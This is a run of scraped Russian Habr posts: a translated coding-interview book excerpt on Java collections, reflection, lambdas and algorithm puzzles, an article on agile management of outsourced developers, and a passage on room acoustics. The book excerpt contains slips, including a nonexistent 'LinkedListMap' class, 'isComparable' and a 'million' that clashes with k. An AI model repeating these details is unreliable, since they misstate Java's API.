Параметры-типы «стираются» во время выполнения. В C++ экземпляры с разными параметрами-типами относятся к разным типам. Помните, что хотя обобщения Java и шаблоны C++ внешне похожи, у них много различий. 13.5. Объясните различия между TreeMap, HashMap и LinkedHashMap. Приведите пример ситуации, в которой каждая из этих коллекций работает лучше других. РЕШЕНИЕ Все перечисленные классы коллекций предназначены для хранения ассоциативных пар «ключ/значение» и поддерживают средства перебора ключей. Самое важное различие — гарантии временной сложности и упорядочение ключей. ‰‰ — HashMap обеспечивает поиск и вставку за время O(1). При переборе ключей порядок их следования фактически непредсказуем. Коллекция реализуется в виде массива связных списков. ‰‰- TreeMap обеспечивает поиск и вставку за время O(log N). Ключи упорядочены, поэтому если их перебор должен осуществляться в порядке сортировки, такая возможность существует. Это означает, что ключи должны реализовать интерфейс isComparable. Коллекция TreeMap реализуется в виде красно-черного дерева. ‰‰- LinkedHashMap обеспечивает поиск и вставку за время O(1). Ключи упорядочены в порядке вставки. Коллекция реализуется в виде двусвязных блоков. Представьте, что пустые экземпляры TreeMap, HashMap и LinkedHashMap передаются следующей функции: 1 void insertAndPrint(AbstractMap<Integer, String> map) { 2 int[] array = {1, -1, 0}; 3 for (int x : array) { 4 map.put(x, Integer.toString(x)); 5 } 6 7 for (int k : map.keySet()) { 8 System.out.print(k + ", "); 9 } 10 } Результаты для разных коллекций выглядят так: Очень важно: результаты LinkedListMap и TreeMap должны выглядеть так, как показано выше. Для HashMap в моих тестах выводился результат {0, 1, -1}, но порядок может быть любым. Никаких гарантий на этот счет нет. Когда упорядочение может понадобиться в реальной ситуации? ‰‰- Допустим, вы создаете отображение имен на объекты Person. Время от времени требуется выводить список людей, упорядоченный по имени в алфавитном порядке. TreeMap позволит вам это сделать. ‰‰- Класс TreeMap также предоставляет возможность вывести следующие 10 человек для заданного имени, например для реализации кнопки Далее> во многих приложениях. — Класс LinkedHashMap удобен в тех случаях, когда порядок ключей должен соответствовать порядку вставки. В частности, данная возможность пригодится для организации кэширования, когда потребуется удалить самый старый элемент. В общем случае рекомендуется использовать HashMap, если только у вас нет веских причин для другого выбора, а именно, если вам потребуется получить ключи в порядке вставки, используйте LinkedListMap. Если ключи должны возвращаться в фактическом/естественном порядке, используйте TreeMap. В остальных случаях класс HashMap, вероятно, подойдет лучше всего: обычно он работает быстрее и эффективнее. 13.6. Объясните, что такое рефлексия (reflection) объектов в Java и для чего она используется. РЕШЕНИЕ Рефлексия (или отражение) — механизм получения содержательной информации о классах и объектах Java, а также выполнение следующих операций: 1. Получение информации о методах и полях класса во время выполнения. 2. Создание нового экземпляра класса. 3. Прямое чтение и запись значений полей объекта по ссылке (независимо от модификатора доступа). Пример использования рефлексии: 1 /* Параметры */ 2 Object[] doubleArgs = new Object[] { 4.2, 3.9 }; 3 4 /* Получение класса */ 5 Class rectangleDefinition = Class.forName("MyProj.Rectangle"); 6 7 /* Эквивалентно: Rectangle rectangle = new Rectangle(4.2, 3.9); */ 8 Class[] doubleArgsClass = new Class[] {double.class, double.class}; 9 Constructor doubleArgsConstructor = 10 rectangleDefinition.getConstructor(doubleArgsClass); 11 Rectangle rectangle = (Rectangle) doubleArgsConstructor.newInstance(doubleArgs); 12 13 /* Эквивалентно: Double area = rectangle.area(); */ 14 Method m = rectangleDefinition.getDeclaredMethod("area"); 15 Double area = (Double) m.invoke(rectangle); Этот код эквивалентен следующему: 1 Rectangle rectangle = new Rectangle(4.2, 3.9); 2 Double area = rectangle.area(); Зачем нужна рефлексия Конечно, в приведенном выше примере рефлексия не кажется необходимой, но в некоторых случаях она очень полезна. Три основных причины для применения рефлексии: 1. Она упрощает наблюдение или управление поведением программы во время выполнения. 2. Она способствует отладке или тестированию программ, поскольку мы получаем прямой доступ к методам, конструкторам и полям. 3. Она позволяет вызывать методы по имени, даже если нам это имя заранее не известно. Например, пользователь может передать имя класса, параметры конструктора и имя метода, а программа использует эту информацию для создания объекта и вызова метода. Выполнение аналогичных операций без рефлексии потребует использования цепочки сложных команд if (если оно вообще возможно). 13.7. Существует класс Country, содержащий методы getContinent() и getPopulation(). Напишите функцию int getPopulation(List countries, String continent), которая вычисляет население заданного континента по списку всех стран и названию континента с использованием лямбда-выражений. РЕШЕНИЕ Решение в действительности состоит из двух частей. Сначала нужно сгенерировать список стран (допустим, в Северной Америке), а затем вычислить их общее население. Без лямбда-выражений это делается достаточно просто. 1 int getPopulation(List<Country> countries, String continent) { 2 int sum = 0; 3 for (Country c : countries) { 4 if (c.getContinent().equals(continent)) { 5 sum += c.getPopulation(); 6 } 7 } 8 return sum; 9 } Чтобы написать реализацию с лямбда-выражениями, разобъем задачу на несколько подзадач. Сначала мы используем фильтр для получения списка стран заданного континента. 1 Stream<Country> northAmerica = countries.stream().filter( 2 country -> { return country.getContinent().equals(continent);} 3 ); Затем результат преобразуется в список с населениями стран: 1 Stream<Integer> populations = northAmerica.map( 2 c -> c.getPopulation() 3 ); Наконец, общее население вычисляется методом reduce: 1 int population = populations.reduce(0, (a, b) -> a + b); Следующая функция собирает все подзадачи воедино: 1 int getPopulation(List<Country> countries, String continent) { 2 /* Фильтрация списка стран. */ 3 Stream<Country> sublist = countries.stream().filter( 4 country -> { return country.getContinent().equals(continent);} 5 ); 6 7 /* Преобразование в список численности населения. */ 8 Stream<Integer> populations = sublist.map( 9 c -> c.getPopulation() 10 ); 11 12 /* Суммирование списка. */ 13 int population = populations.reduce(0, (a, b) -> a + b); 14 return population; 15 } Также из-за особенностей этой конкретной задачи можно обойтись вообще без фильтра. Операция reduce может содержать логику, которая связывает население стран других континентов с нулем. Таким образом, в сумме вклад других континентов учитываться не будет. 1 int getPopulation(List<Country> countries, String continent) { 2 Stream<Integer> populations = countries.stream().map( 3 c -> c.getContinent().equals(continent) ? c.getPopulation() : 0); 4 return populations.reduce(0, (a, b) -> a + b); 5 } Лямбда-функции появились в Java 8, и если вы о них не знаете, удивляться не приходится. Зато у вас появляется хороший повод изучить их. 13.8. Напишите функцию List getRandomSubset(List list), возвращающую случайное подмножество произвольного размера. Все подмножества (включая пустое) должны выбираться с одинаковой вероятностью. При написании функции следует использовать лямбда-выражения. РЕШЕНИЕ На первый взгляд можно пойти простым путем: выбрать размер подмножества от 0 до N, а затем сгенерировать случайное множество такого размера. Однако такой подход порождает две проблемы: 1. Вероятностям придется назначать весовые коэффициенты. Если N>1, то количество подмножеств с размером N/2 больше количества подмножеств с размером N (которое, конечно, всегда равно 1). 2. Сгенерировать подмножество ограниченного размера (например, 10) сложнее, чем сгенерировать подмножество произвольного размера. Вместо того чтобы генерировать подмножество на основании размера, рассмотрим задачу генерирования на основании элементов. (Тот факт, что в задаче предлагается использовать лямбда-выражения, также подсказывает, что искать нужно некоторую форму перебора с обработкой элементов.) Представьте, что мы перебираем множество {1, 2, 3} для создания подмножества. Должен ли элемент 1 войти в подмножество? Есть два варианта ответа: «да» и «нет». Вероятностям выбора следует присвоить весовые коэффициенты на основании доли подмножеств, включающих 1. Итак, какая часть подмножества содержит 1? Для каждого отдельного элемента количество подмножеств, включающих его, равно количеству подмножеств, в которые этот элемент не входит. Рассмотрим следующий пример: {} {1} {2} {1, 2} {3} {1, 3} {2, 3} {1, 2, 3} Обратите внимание: подмножества в левом и правом столбце отличаются только вхождением 1. Количество подмножеств в левом и правом столбце одинаково, потому что одно подмножество преобразуется в другое простым добавлением элемента. Это означает, что для построения случайного подмножества достаточно перебрать список и «бросить монетку» (то есть принять решение с вероятностью 50/50), чтобы решить, должен ли каждый элемент войти в это множество. Без лямбда-выражений реализация выглядит примерно так: 1 List<Integer> getRandomSubset(List<Integer> list) { 2 List<Integer> subset = new ArrayList<Integer>(); 3 Random random = new Random(); 4 for (int item : list) { 5 /* Да/нет */ 6 if (random.nextBoolean()) { 7 subset.add(item); 8 } 9 } 10 return subset; 11 } Реализация с лямбда-выражениями: 1 List<Integer> getRandomSubset(List<Integer> list) { 2 Random random = new Random(); 3 List<Integer> subset = list.stream().filter( 4 k -> { return random.nextBoolean(); /* Да/нет */ 5 }).collect(Collectors.toList()); 6 return subset; 7 } Также можно воспользоваться предикатом (определяемым в классе или функции): 1 Random random = new Random(); 2 Predicate<Object> flipCoin = o -> { 3 return random.nextBoolean(); 4 }; 5 6 List<Integer> getRandomSubset(List<Integer> list) { 7 List<Integer> subset = list.stream().filter(flipCoin). 8 collect(Collectors.toList()); 9 return subset; 10 } Одно из преимуществ этой реализации — возможность применения предиката flipCoin в других местах. Задачи Задача 1. Разработайте алгоритм для поиска наименьших K чисел в массиве. РЕШЕНИЕ К решению этой задачи можно подходить несколькими разными способами. Мы рассмотрим три варианта: сортировку, max-кучу и алгоритм ранжированного выбора. Некоторые из этих алгоритмов требуют модификации массива. Обсудите этот момент с интервьюером. Впрочем, даже если модификация исходного массива недопустима, ничто не мешает создать копию и модифицировать ее — это не отразится на общей сложности алгоритма. Решение 1. Сортировка Мы можем отсортировать элементы по возрастанию, а затем взять первые k элементов. 1 int[] smallestK(int[] array, int k) { 2 if (k <= 0 || k > array.length) { 3 throw new IllegalArgumentException(); 4 } 5 6 /* Сортировка массива. */ 7 Arrays.sort(array); 8 9 /* Копирование первых k элементов. */ 10 int[] smallest = new int[k]; 11 for (int i = 0; i < k; i++) { 12 smallest[i] = array[i]; 13 } 14 return smallest; 15 } Временная сложность равна O(n log(n)). Решение 2. Max-куча Также для решения задачи можно воспользоваться max-кучей. Сначала создается max-куча (с наибольшим элементом на вершине) для первого миллиона чисел. Затем начинается перебор списка. Каждый элемент, если он меньше корня, вставляется в кучу, после чего удаляется наибольший элемент (которым будет корень). В конце обхода будет получена куча, содержащая миллион наименьших чисел. Этот алгоритм выполняется за время O(n log(m)), где m — количество искомых значений. 1 int[] smallestK(int[] array, int k) { 2 if (k <= 0 || k > array.length) { 3 throw new IllegalArgumentException(); 4 } 5 6 PriorityQueue<Integer> heap = getKMaxHeap(array, k); 7 return heapToIntArray(heap); 8 } 9 10 /* Создание кучи из k наименьших элементов. */ 11 PriorityQueue<Integer> getKMaxHeap(int[] array, int k) { 12 PriorityQueue<Integer> heap = 13 new PriorityQueue<Integer>(k, new MaxHeapComparator()); 14 for (int a : array) { 15 if (heap.size() < k) { // Если осталось место 16 heap.add(a); 17 } else if (a < heap.peek()) { // Куча заполнена, элемент больше 18 heap.poll(); // Удалить корень 19 heap.add(a); // Вставить новый элемент 20 } 21 } 22 return heap; 23 } 24 25 /* Преобразование кучи в целочисленный массив. */ 26 int[] heapToIntArray(PriorityQueue<Integer> heap) { 27 int[] array = new int[heap.size()]; 28 while (!heap.isEmpty()) { 29 array[heap.size() - 1] = heap.poll(); 30 } 31 return array; 32 } 33 34 class MaxHeapComparator implements Comparator<Integer> { 35 public int compare(Integer x, Integer y) { 36 return y - x; 37 } 38 } Для реализации функциональности кучи в Java используется класс PriorityQueue. По умолчанию он работает как min-куча, в которой на вершине находится наименьший элемент. Чтобы на вершине находился наибольший элемент, достаточно передать другой компаратор. А вы знаете еще решения? Задача 2. Напишите функцию суммирования двух чисел без использования «+» или любых других арифметических операторов. РЕШЕНИЕ Первое, что приходит в голову в подобных задачах, — поразрядные операции. Почему? Если нельзя использовать оператор «+», то что еще остается? Будем суммировать числа так, как это делают компьютеры! Теперь нужно поглубже разобраться в том, как работает суммирование. Разберем дополнительный пример и попробуем найти нечто интересное — выявить закономерность, которую можно было бы воспроизвести в коде. Итак, рассмотрим дополнительную задачу. Для удобства будем использовать десятичную систему счисления. Чтобы просуммировать 759 + 674, мы обычно складываем digit[0] из каждого числа, переносим единицу, затем переходим к digit[1], переносим и т. д. Точно так же можно работать с битами: просуммировать все разряды и при необходимости сделать переносы единиц. Можно ли упростить алгоритм? Да! Допустим, я хочу разделить «суммирование» и «перенос». Мне придется проделать следующее. 1. Выполнить операцию 759 + 674, «забыв» о переносе. В результате получится 323. 2. Выполнить операцию 759 + 674, но сделать только переносы (без суммирования разрядов). В результате получится 1110. 3. Теперь нужно сложить результаты первых двух операций (используя тот же механизм, описанный в шагах 1 и 2): 1110 + 323 = 1433. Теперь вернемся к двоичной системе. 1. Если просуммировать пару двоичных чисел, без учета переноса знака, то i-й бит суммы может быть нулевым, только если i-е биты чисел a и b совпадали (оба имели значение 0 или 1). Это классическая операция XOR. 2. Если суммировать пару чисел, выполняя только перенос, то i-й бит суммы будет равен 1, только если i-1-е биты обоих чисел (a и b) имели значение 1. Это операция AND со сдвигом. 3. Повторять, пока остаются переносы. Следующий код реализует данный алгоритм. 1 int add(int a, int b) { 2 if (b == 0) return a; 3 int sum = a ^ b; // суммирование без переноса 4 int carry = (a & b) << 1; // перенос без суммирования 5 return add(sum, carry); // повторить с sum + carry 6 } Также возможна итеративная реализация. 1 int add(int a, int b) { 2 while (b != 0) { 3 int sum = a ^ b; // суммирование без переноса 4 int carry = (a & b) << 1; // перенос без суммирования 5 a = sum; 6 b = carry; 7 } 8 return a; 9 } Задачи, связанные с реализацией базовых операций (сложение, вычитание), встречаются относительно часто. Чтобы решить такую задачу, нужно досконально разобраться с тем, как обычно выполняется такая операция, а потом реализовать ее заново с учетом поставленных ограничений. А вы знаете еще решения? Задача 3. Для двух квадратов на плоскости найдите линию, которая делит эти два квадрата пополам. Предполагается, что верхняя и нижняя стороны квадрата проходят параллельно оси x. РЕШЕНИЕ Прежде чем начать, нам нужно подумать, что понимается под «линией». Как будет задаваться линия — углом наклона и точкой пересечения с осью y? Двумя точками на линии? Или под линией на самом деле понимается отрезок, начало и конец которого лежат на сторонах квадратов? Чтобы задача была более интересной, мы выберем третий вариант — отрезок, начало и конец которого лежат на сторонах квадратов. Находясь на собеседовании, вы можете обсудить данный момент с интервьюером. Прямая, которая делит два квадрата пополам, должна проходить через их середины. Наклон прямой описывается формулой: slope = (y1 — y2) / (x1 — x2). Этим же принципом можно руководствоваться, чтобы рассчитать начальную и конечную точки отрезка. В следующем коде предполагается, что начало координат (0, 0) находится в левом верхнем углу. 1 public class Square { 2 ... 3 public Point middle() { 4 return new Point((this.left + this.right) / 2.0, 5 (this.top + this.bottom) / 2.0); 6 } 7 8 /* Возвращает точку, в которой отрезок, соединяющий mid1 и mid2, 9 * пересекает сторону квадрата 1. То есть мы проводим линию из mid2 10 * в mid1 и продолжаем ее до стороны квадрата. */ 11 public Point extend(Point mid1, Point mid2, double size) { 12 /* Определение направления, в котором идет линия mid2 -> mid1. */ 13 double xdir = mid1.x < mid2.x ? -1 : 1; 14 double ydir = mid1.y < mid2.y ? -1 : 1; 15 16 /* Если у mid1 и mid2 значения x совпадают, при вычислении наклона 17 * произойдет деление на 0. Этот случай обрабатывается отдельно. */ 18 if (mid1.x == mid2.x) { 19 return new Point(mid1.x, mid1.y + ydir * size / 2.0); 20 } 21 22 double slope = (mid1.y - mid2.y) / (mid1.x - mid2.x); 23 double x1 = 0; 24 double y1 = 0; 25 26 /* Наклон вычисляется по формуле (y1 - y2) / (x1 - x2). 27 * Примечание: при "крутом" наклоне (>1) конец отрезка 28 * пересечет горизонтальную сторону квадрата. При "пологом" 29 * наклоне (<1) конец отрезка пересечет вертикальную 30 * сторону квадрата. */ 31 if (Math.abs(slope) == 1) { 32 x1 = mid1.x + xdir * size / 2.0; 33 y1 = mid1.y + ydir * size / 2.0; 34 } else if (Math.abs(slope) < 1) { // Пологий наклон 35 x1 = mid1.x + xdir * size / 2.0; 36 y1 = slope * (x1 - mid1.x) + mid1.y; 37 } else { // steep slope 38 y1 = mid1.y + ydir * size / 2.0; 39 x1 = (y1 - mid1.y) / slope + mid1.x; 40 } 41 return new Point(x1, y1); 42 } 43 44 public Line cut(Square other) { 45 /* Вычисление точек пересечения линии, соединяющей середины, 46 * со сторонами квадратов. */ 47 Point p1 = extend(this.middle(), other.middle(), this.size); 48 Point p2 = extend(this.middle(), other.middle(), -1 * this.size); 49 Point p3 = extend(other.middle(), this.middle(), other.size); 50 Point p4 = extend(other.middle(), this.middle(), -1 * other.size); 51 52 /* Определение начала и конца отрезков. Начальная точка находится 53 * левее остальных (и выше при совпадении), а конечная - правее 54 * остальных (и ниже при совпадении). */ 55 Point start = p1; 56 Point end = p1; 57 Point[] points = {p2, p3, p4}; 58 for (int i = 0; i < points.length; i++) { 59 if (points[i].x < start.x || 60 (points[i].x == start.x && points[i].y < start.y)) { 61 start = points[i]; 62 } else if (points[i].x > end.x || 63 (points[i].x == end.x && points[i].y > end.y)) { 64 end = points[i]; 65 } 66 } 67 68 return new Line(start, end); 69 } Основная цель этой задачи — увидеть, насколько вы внимательно относитесь к написанию кода. Очень легко забыть об особых случаях (когда середины квадратов совпадают по какой-либо из осей). Вы должны продумать поведение программы в особых ситуациях прежде, чем начнете писать код. Этот вопрос требует тщательного тестирования. А вы знаете еще решения? Свои методы решения задач публикуйте в комментариях, тем, кто предложит конструктивный подход — электронная книга в подарок. » Более подробно с книгой можно ознакомиться на сайте издательства » Оглавление » Отрывок Для Хаброжителей скидка 25% по купону — Макдауэлл
https://habrahabr.ru/company/piter/blog/318018/
habrahabr
Agile в работе с аутсорсом
['аутсорс', 'agile', 'cofoundit', 'стартап', 'управление разработкой']
Меня зовут Илья Китанин, я руководитель группы разработки Cofoundit — сервиса для поиска сотрудников в стартапы. Сегодня я расскажу, как с помощью статистики и принципов agile-методологии...
Меня зовут Илья Китанин, я руководитель группы разработки Cofoundit — сервиса для поиска сотрудников в стартапы. Сегодня я расскажу, как с помощью статистики и принципов agile-методологии максимально эффективно работать со сторонними разработчиками, не переплачивать и не выбиваться из графика. Бекграунд и подготовка С марта 2016 года Cofoundit работал в ручном режиме: мы сами подбирали сотрудников и сооснователей в стартапы и изучали потребности пользователей. Собрали требования и в июне приступили к разработке сервиса. Два месяца ушло на создание прототипа и еще месяц на доработку финальной версии. Мы начали работать над продуктом в середине июня, в августе выпустили закрытую бету, в конце сентября — официально запустились и продолжаем работу. С самого начала в качестве методологии я рассматривал только agile. Первую неделю мы посвятили планированию: разбили задачу на небольшие таски, спланировали спринты, каждый длиной в неделю. Большинство задач укладывалось в один спринт, но поначалу некоторые занимали и два, и три. Первые спринты были откровенно неудачными — мы задержали релиз на неделю и начали отставать от графика. Но этот опыт помог нам правильно оценить сроки и отказаться от избыточного функционала. Изначально мы хотели сделать сервис с симметричным поиском: чтобы и специалист, и проект могли просматривать анкеты друг друга и начинать общение. В результате в работе осталась только первая часть: кандидат может просматривать и выбирать анкеты стартапов, а проект видит только тех специалистов, которые уже проявили к нему интерес. То есть по сути мы запустили минимальный жизнеспособный продукт. Управление эффективностью С помощью «Джиры» и плагина Time in status я постоянно следил за тем, как работает команда, и сколько времени занимает жизненный цикл задачи. Я считал время пяти основных этапов: в разработке (с момента создания таска до отправки на ревью), ревью кода (происходит на стороне команды аутсорса), деплой, тестирование и утверждение (со стороны сервиса, то есть мной). В таблице указано количество дней, в течение которых задача находилась на каждом этапе разработки. Несмотря на то, что в нашем случае над задачей единовременно работал только один специалист (разработчик, тестировщик или менеджер), эти данные не равны человеко-часам: задача висит в статусе, даже если работа над ней не идет. Я специально не показываю сбор требований, время ожидания релиза и другие этапы, которые никак не отображают скорость работы команды. Статистику по июню толком собрать не удалось, поэтому этих данных нет в таблице. По результатам работы в июле я обратил внимание, что задачи дольше всего находятся в трех статусах: в работе, на тестировании и на ревью. Проще всего было решить проблему долгого тестирования. Тестировщик в нашей команде работал part-time и просто не успевал оперативно тестировать все задачи. Мы поговорили с подрядчиком и перевели его в проект на full-time. Это сократило время тестирования в два раза. Для основных повторяющихся сценариев мы стали делать автотесты на selenium. Это позволило нашему тестировщику быстрее проводить регрессионное тестирование. Мы сократили время на заполнение анкет, без которого нельзя протестировать новый функционал сервиса. Потом мы продолжали наращивать число автотестов и улучшать показатели эффективности. Во вторую очередь я начал разбираться с задержками на этапе разработки. При недельных итерациях я не мог позволить задаче висеть в работе пять дней (весь спринт). До финального релиза хотелось как минимум несколько раз посмотреть функционал в работе. Я решил проблему, разделив задачи на более мелкие. По результатам августа мы отставали по показателю «Время на ревью» со стороны команды аутсорса. Сначала я постоянно напоминал исполнителю, что он должен посмотреть код и дать комментарии. В ноябре я передал эту обязанность тестировщику. С этого момента, как только он заканчивал работу над задачей, он сам оповещал ответственного за ревью. Полностью мы реализовали такой подход только в ноябре, когда деплой на тестовый сервер стал занимать меньше времени. В сентябре слабыми показателями были «Утверждение» со стороны команды сервиса и «Ожидание деплоя на тестовый сервер». «Приемку» удалось ускорить просто более пристальным вниманием и быстрым реагированием на задачи. К тому же к этому времени процесс разработки уже вошел в ритм, и уже не так много моего времени уходило на поддержание. Время деплоя на тестовый сервер в сентябре занимало больше 15% — это было чрезвычайно странно. Выяснилось, что после проведения ревью задачи её выкладывал на тест последний исполнитель. Нужно было мержить ветки, иногда возникали конфликты, исполнитель отвлекался от текущих задач. В октябре мы прикрутили к репозиторию механизм автоматического выкладывания задач, что сильно сократило время деплоя. Потом мы отладили процесс и в итоге за два месяца сократили время на деплой в 8 (восемь!) раз. Итого, за пять месяцев мы сократили время решения задачи почти в четыре раза. Раньше путь задачи от постановки до утверждения результата занимал в среднем 20 календарных дней. Теперь, когда срок сократился до пяти календарных дней, стало проще контролировать этапы разработки, оценивать итоговые сроки решения задач и планировать загрузку команды. Прогнозирование сроков Другая важная задача — точная оценка сроков. По условиям договора с подрядчиком мне в целом было невыгодно попадать в оценку. Если задача делалась быстрее, мы платили только за потраченное на нее время, а если команда не укладывалась в сроки, то мы платили меньше. Но у меня были другие причины добиваться точной оценки сроков. Например, скорость реализации иногда влияет на выбор функциональностей. Если на внедрение одной фичи уйдет день, а на другую — три дня, то менеджер с большой долей вероятности выберет более быстрый в разработке вариант. При этом «однодневная» фича на практике может занять те же три дня, и если бы это было известно заранее, выбор опций мог быть другим. Я посчитал процент точности, с которой каждый программист попадает в оценку. В результате я получил коэффициенты, которые помогли точнее планировать сроки. Например, если программист оценил задачу в 10 часов, но его коэффициент ошибки около 40%, то я могу смело считать, что на задачу уйдет 14 часов. Профит. Сложность состоит в том, что ошибки в оценке сроков бывают несистемными. Одни таски программист может делать в четыре раза медленнее, а другие — в два раза быстрее. Это сильно усложняет расчеты и планирование. Поэтому я посчитал не только среднее отклонение в оценке сроков для каждого разработчика, но и процент отклонения от среднего. Если он был меньше 20%, я считал это хорошим результатом — такая погрешность в сроках не мешала мне планировать. Но были отклонения и в 30%, и в 50%, и они сильно мешали работе над релизом. Например, разработчик оценивал сроки выполнения в 10 дней, его стандартное отклонение от сроков 40%, так реальный срок выполнения задачи становится 14 дней. Но если отклонение от среднего составит 50%, то это еще 7 дней работы над задачей. Итого, срок работы составит 21 день вместо обещанных 10 и ожидаемых 14. С такими опозданиями невозможно работать, поэтому я старался найти их причину и исправить. В «Джире» я проанализировал опоздания и их причины — сделал выводы, что большее отклонение от планового времени приходится на задачи, которые не проходят апрув у меня, и которые тестировщик по несколько раз возвращает после тестирования. Сначала я исправил ситуацию с задачами из «приёмки». Основная причина возврата заключалась в том, что тестировщик недостаточно анализировал задачу. Во время тестирования он действовал «по обстоятельствам», а иногда и вовсе не понимал, как должна работать функция. Решили, что тестировщик будет готовить Definition of done (DoD) к каждой задаче: не подробные тест-кейсы, а примерное описание того, что и в каком направлении он будет смотреть. Я же со своей стороны просматривал эти DoD и, в случае ошибочного понимания или недостаточного объема тестирования, сразу указывал на это тестировщику. В итоге количество возвратов из «приемки» сократилось практически до нуля, и оценивать сроки стало проще. Что касается частого возвращения задач из теста обратно в разработку, выяснилось, что почти треть случаев происходит из-за ошибки при деплое: например, не запущены нужные скрипты. То есть опция совсем не работала, но это можно было понять и без помощи тестировщика. Решили, что при развертывании задачи на сервер программист будет сам проверять простые сценарии, чтобы убедиться, что все характеристики работают. Только после этого задача уходит в тест. Такая процедура занимает не больше пяти минут, а число возвратов из тестирования сократилось более чем на 30%. Для сложных задач мы приняли решение проводить созвон с разработчиком, тимлидом и тестировщиком. Я комментировал документацию и подробно рассказывал, что именно и как я хочу, чтобы было реализовано. Если команда разработки видела какие-то недочеты на этом этапе, мы сразу вносили изменения в документацию. В таких случаях оценкой сроков занималось минимум два человека — разработчик и тимлид. За четыре месяца средняя ошибка при планировании уменьшилась в 1,4 раза. Количество отклонений более 50% от средней ошибки сократилось с 9% до 1%. Сбор и анализ статистики помог мне вовремя увидеть слабые места и исправить ошибки управления командой. Какие-то из них могли произойти и у «домашних» разработчиков, какие-то — особенность работы с аутсорсом. Надеюсь, принципы работы с внутренней статистикой пригодятся и вам.
https://habrahabr.ru/company/friifond/blog/318032/
habrahabr
Как подготовить помещение для прослушивания музыки
['аудиомания', 'акустика', 'аудиосистемы', 'cold ray']
Тщательно подбирая элементы своей аудиосистемы, люди часто забывают о важном факторе, оказывающем влияние на итоговый результат, — акустической подготовке помещения. Порой в помещении, плохо...
Тщательно подбирая элементы своей аудиосистемы , люди часто забывают о важном факторе, оказывающем влияние на итоговый результат, — акустической подготовке помещения. Порой в помещении, плохо подготовленном к прослушиванию, техника звучит совсем не так, как в шоуруме, а ожидания, возложенные на приобретенную акустику, не оправдываются. Сегодня расскажем, как правильно подготовить комнату для прослушивания музыки. На этапе ремонта Cвойства помещения влияют на качество восприятия в нем звуковой информации: акустические волны отражаются от стен, пола и потолка, интерферируя между собой. Если включить музыку в пустой комнате с «голыми» стенами, звук первоисточника необратимо деформируется. Даже просто наклеив на стены обои, вы уже почувствуете разницу в звучании. Однако обоев на стенах, разумеется, недостаточно для того, чтобы подготовить комнату для прослушивания. В некоторых случаях проблему с отражением звуковых волн можно устранить декораторскими решениями — за счет мягкой мебели, открытых книжных стеллажей и другого «наполнения» комнаты. Однако если интерьер изначально задумывался как минималистичный, стоит обратить внимание и на конструктивные решения на этапе ремонта. Корректировка акустики помещения с использованием дополнительных конструкций, разумеется, может уменьшить его полезную площадь и изменить первоначальный дизайн комнаты, поэтому на данном этапе можно обратиться за профессиональной помощью инсталляторов . Они не только смогут учесть все особенности помещения, но и помогут «избавиться от лишних проводов» — грамотно спланируют прокладку нужных кабелей с учетом итогового расположения аудиосистемы. Конечно же, привлечение инсталляторов — не единственный вариант. Он будет полезен, в первую очередь, обладателям дорогих аудиосистем, которые необходимо «вписать» в минималистический интерьер (с учетом не только желаний меломана, но и требований его семьи), владельцам сложных комплектов оборудования от разных производителей, которое необходимо грамотно «подружить», а также в случаях, если само помещение имеет нестандартную конфигурацию или предназначение. Инсталляторы Аудиомании, например, сталкивались с задачей проектирования и оборудования кинотеатра и аудиосистемы в бассейне ). В остальных случаях справиться с корректировкой помещения можно своими силами. Для этого вовсе не обязательно покрывать все стены поглотителем. Например, позади аудиосистемы можно построить фальш-стену из листов перфорированного гипсокартона. Устанавливая панели из гипсокартона, постарайтесь зафиксировать листы таким образом, чтобы тип крепления исключал какие-либо произвольные вибрации. Любители экологичных материалов могут заменить гипсокартон на акустические панели из древесного волокна. По своим акустическим свойствам они нисколько не уступают гипсокартону и могут лучше вписаться в интерьер, однако и стоимость их будет выше. Важно, чтобы фальш-стена была возведена на расстоянии 150-250 мм от капитальной стены, а полость между ними — заполнена минеральной ватой. / Пример инсталляции Аудиомании в московской квартире Кроме того, при коррекции акустики помещения стоит обратить внимание и на потолок. Если высота помещения позволяет, оптимальным решением будет подвесной потолок на стандартном каркасе из перфорированного гипсокартона. Этот материал сам по себе является достаточно хорошим звукоизолятором, а если в образовавшуюся полость дополнительно проложить плиты из минеральной ваты, эффект будет ещё лучше (подробнее о том, как и из каких материалов можно собрать такой потолок и фальш-стену, читайте здесь ). Главное в этом деле — не переусердствовать. Чрезмерное увлечение поглощающими материалами может «глушить» комнаты прослушивания. В результате отраженные звуки исчезают вообще, а звучание становится неестественным и резким, быстро утомляя слух, возникает характерное «давящее» ощущение. Такая «мёртвая» акустическая среда подходит для звукозаписывающих студий, но весьма некомфортна для прослушивания музыки ради удовольствия. При оформлении интерьера Подвесные потолки и фальш-стены — это всегда компромисс с дизайном, внешним видом и функциональностью помещения (если комната, предназначенная для прослушивания, решает еще какие-либо задачи, такие изменения могут серьезно затруднить ее использование). Скорректировать акустику помещения можно и с меньшими усилиями — результат может оказаться не настолько впечатляющим, но тоже ощутимым. Итак, на этапе оформления интерьера формированию благоприятной среды для прослушивания способствуют любая мягкая мебель, ковер на полу или плотные шторы на окнах. Если есть ощущения, что этого набора оказывается недостаточно, то позади аудиосистемы или стола, на котором она стоит, можно поместить звукопоглощающий мат. Им может служить ковер с высоким ворсом или специальный акустический поролон с профилем «пирамида». Разумеется, последнее решение не добавит интерьеру эстетики, зато улучшит качество передачи средних и высоких частот. / Басовые ловушки из акустической пены , позволяющие минимизировать сильное воздействие от резонансных волн Еще одно эффективное решение — так называемые звуковые ловушки, которые размещаются по углам помещения. Такая ловушка может быть высотой с наполную колонку, а может занимать и все пространство от пола до потолка. Основной минус таких систем — они очень заметны и вряд ли улучшат внешний вид помещения. Если в квартире живет женщина с конкретным видением того, как должна выглядеть комната, то этот вариант сразу отпадает — Тимофей Шиколенков, директор по маркетингу и развитию бизнеса в компании Аудиомания Компромиссное решение — специальные декоративные акустические панели, которые обладают свойствами «классических» панелей (тех, которые можно часто видеть в студиях звукозаписи), но при этом выпускаются в разных цветах и дизайне. Такие панели также могут быть заметны, но при этом выглядят как элемент декора, а не как промышленный объект в домашней среде. Технические решения и «улучшайзеры» Если по тем или иным причинам повесить на стену акустическую панель, поставить в угол звуковую ловушку или просто добавить в комнату больше мебели не получается, можно пойти другим путем и приобрести акустический корректор . Это специальное устройство, которое ставится между усилителем и источником сигнала (компьютером, сетевым проигрывателем, СD-проигрывателем). Акустический корректор напоминает небольшой усилитель с входом, выходом и микрофоном. Микрофон устанавливается в зоне прослушивания, так, чтобы устройство «понимало», каким звук доходит до меломана, и корректировало его. В итоге пропадает низкочастотный гул, бас удается «собрать» в единую мелодию, а звучание становится максимально приближенным к неискаженному. / 